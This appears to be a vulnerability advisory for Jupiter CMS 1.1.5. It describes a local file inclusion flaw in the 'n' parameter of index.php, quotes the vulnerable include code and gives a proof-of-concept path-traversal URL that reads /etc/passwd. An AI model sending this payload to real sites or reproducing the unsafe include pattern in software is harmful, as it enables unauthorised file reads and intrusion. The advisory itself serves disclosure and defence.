|
Brought to you by:
Suppliers of:
|
|
|
| |
| "Jupiter is a content management system." Improper validation of file path allow attackers to include arbitrary files in Jupiter CMS. |
| |
Credit:
The information has been provided by h e.
The original article can be found at: http://www.hamid.ir/security/jupiter.txt
|
| |
Vulnerable Systems:
* Jupiter CMS version 1.1.5
Input passed to the "n" parameter in "index.php" isn't properly verified, before it is used to include files.
Vulnerable Code:
index.php line 592
//-----------------------------------------------------------------
// PHP Navigation
//-----------------------------------------------------------------
if(!isset($n) && $i != 2 && $i != 17 && $i != "error")
include("modules/news.php");
if(isset($n))
{
if(file_exists("$n.php")) include("$n.php");
elseif(!file_exists("$n.php"))
header("location: $PHP_SELF?i=error");
}
//-----------------------------------------------------------------
Proof of Concept:
http://localhost/Jupiter/index.php?n=/../../../../../../../../../../etc/passwd%00
|
|
|
|
|
